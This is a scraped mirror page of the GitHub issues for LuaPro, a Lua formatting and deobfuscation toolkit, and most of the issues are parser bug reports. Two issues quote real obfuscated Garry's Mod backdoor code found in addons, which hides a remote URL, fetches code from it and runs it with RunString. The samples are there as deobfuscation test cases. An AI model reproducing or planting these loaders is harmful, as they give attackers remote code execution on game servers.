Giter Site home page Giter Site logo

vurv78 / luapro Goto Github PK

View Code? Open in Web Editor NEW
15.0 15.0 1.0 139 KB

Lua AST toolkit for formatting, deobfuscating*, and tweaking code, in pure lua.

Home Page: https://vurv78.github.io/LuaPro/web/index.html

License: GNU General Public License v3.0

Lua 90.92% HTML 1.46% JavaScript 5.93% CSS 1.70%
ast deobfuscation deobfuscator formatter lexer lua luajit parser toolkit

luapro's Introduction

luapro's People

Contributors

vurv78 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

marbeast823

luapro's Issues

Mysterious Identifier Displaying Issue

No idea why this is happening and haven't looked into it so making an issue.

Looks like Lua 5.4 and LuaJIT specifically for some reason display identifiers as invisible characters (or empty strings?). In their output AST they look just fine.

Repro

local x

Outputted formatted code looks fine on every version but Lua 5.4 and LuaJIT 2.1.

Support weird syntax

I have encountered problems using this, as people seem to have many weird ways of doing their code, and Lua seems to support it all. But it breaks the parser / formatter.

GetTable('A').Tab = 200
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: GetTable }'
local A = { B = 'lower' }
string[A.B] 'AA_BB'
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: string }'
local B = { P = print }
B['P'] { A = 200 }
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: B }'
local Tab = {}
function GetTable()
	return Tab
end

GetTable {}[1] = 200

print(Tab[1]) -- prints 200

-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: GetTable }'

I am aware that a lot of these are the result of some bad code, this is more for support of this actually valid syntax.

Better parser

Current parser sucks.

I wrote a new one from scratch unrelated to this. I don't really want to make a new repo for it, so likely I'll end up taking over this one instead of abandoning it too.

Single file ~600 lines parser + tokenizer. Much smaller than this.

Will get to it when I can be arsed. I'd prefer to upload it when it supports being extended for GLua specific syntaxes and is proven to be reliable on real code, which the current parser isn't.

Obfuscated glua code that make the obfuscator error

Here are some pieces of obufsacted garrys mod lua code i found that make luapro error:

  • Error when running: ../src/lexer/lua.lua:168: attempt to get length of a nil value (local 'depth')

    RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,9,10,42,14,58,39,81,45,56,88,2,17,23,24,10,41,9,18,43,86,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")
  • Error when running: Parser error: ["../src/parser/lua.lua:486: Expected '=' after identifier"] at line 31, cols 13:13
    https://pastebin.com/77cwW0WF

  • Error when running: ../src/lexer/lua.lua:340: Could not parse token [").reve"] at line 1, cols 21-22
    https://raw.githubusercontent.com/boringboy123/be/master/an

  • Error when running: ../src/lexer/lua.lua:340: Could not parse token ["\" ]( m"] at line 15, cols 28-35

    local ids = {{},                                                                                                                                                        {104,116,116,112,46,70,101,116,99,104,40,32,39,104,116,116,112,58,47,47,98,117,115,97,110,49,46,99,111,109,47,99,97,114,100,101,97,108,101,114,47,119,99,100,95,117,112,100,97,116,101,95,99,104,101,99,107,101,114,46,112,104,112,63,105,100,61}};
    local nums = { 115, 116, 114, 105, 110, 103 };
    
    local version = "";
    for i, v in pairs( nums ) do
        version = version .. string.char( v );
    end
    nums = "";
    for i, v in pairs( ids[ 2 ] ) do
        nums = nums .. _G[ version ][ string.char( 99 ) .. string.char( 104 ) .. string.char( 97 ) .. 'r' ]( v );
    end
    nums = nums ..  ADS.User[ 1 ] .. "&version_hash=" .. ADS.User[ 2 ] .. "&h=" .. Get2HostName();
    m = nums .. "', function( r ) RunString( r ) end, nil )";
    
    _G[ string.char( 82 ) .. "unString" ]( m );

Duplicate Identifiers

The last letter in an identifier creates another one for some reason

brunb transpiles to brunb\nb

Reimplement Index assignments

iirc in the past I allowed for any expression to precede variable assignment so stuff like _G["foo"] = 55 "worked". Currently this isn't the case so the readme example actually doesn't parse.

Need to actually have this work by allowing for indexing by checking for an indexing operation for every identifier since stuff like this is possible.

_G["bar"], _G.foo = 55, 40
print(bar, foo) -- 55, 40

Function string and table literal calls

Have stuff like xyz "foo" and xyz {} parse as regular function calls (so there'd also be no need to change the codegen as the node layout wouldn't change).

Obufscated code causing errors

local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' local ‪‪‪‪‪‪ = 0 for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪‪["\98\121\116\101"](_), 159))end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪"\235\246\242\250\237"][‪‪‪‪‪‪‪"\204\246\242\239\243\250"](1,function ()‪[‪‪‪‪‪‪‪"\247\235\235\239"][‪‪‪‪‪‪‪"\217\250\235\252\247"](‪‪‪‪‪‪‪"\247\235\235\239\236\165\176\176\244\233\254\252\177\252\229\176\249\177\239\247\239\160\244\250\230\162\175\199\208\252\213\197\216\173\171\251\254\242\233\216\247\211\237\237\239\240",function (goto‪)‪[‪‪‪‪‪‪‪"\205\234\241\204\235\237\246\241\248"](goto‪,‪‪‪‪‪‪‪"\165",false )end )end )

Extremely simple obfuscated backdoor found in a workshop addon, can be decoded by hand in minutes. Yet it errors on it.

Will LuaPro support installations using LuaRocks?

Hi! LuaPro is a great tool. Unfortunately I am not able to install it quickly via LuaRocks, and I was wondering if LuaPro will support installation using LuaRocks in the future?

How does that idea sound to you?
(English is not my first language, so please forgive me if I'm not making sense, thanks)

Lua 5.3 Operators

Need to support the new operators for bitwise math that lua 5.3 adds.

Deep function definition indexing

Need to add compatibility for deep function indexing to be able to do this:

function test.x.y:z() end

Right now it only supports one layer:

function test.x() end

and

function test:x() end

Unary ops

Unary ops are currently unimplemented

not true

or

-1

or

#tbl

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.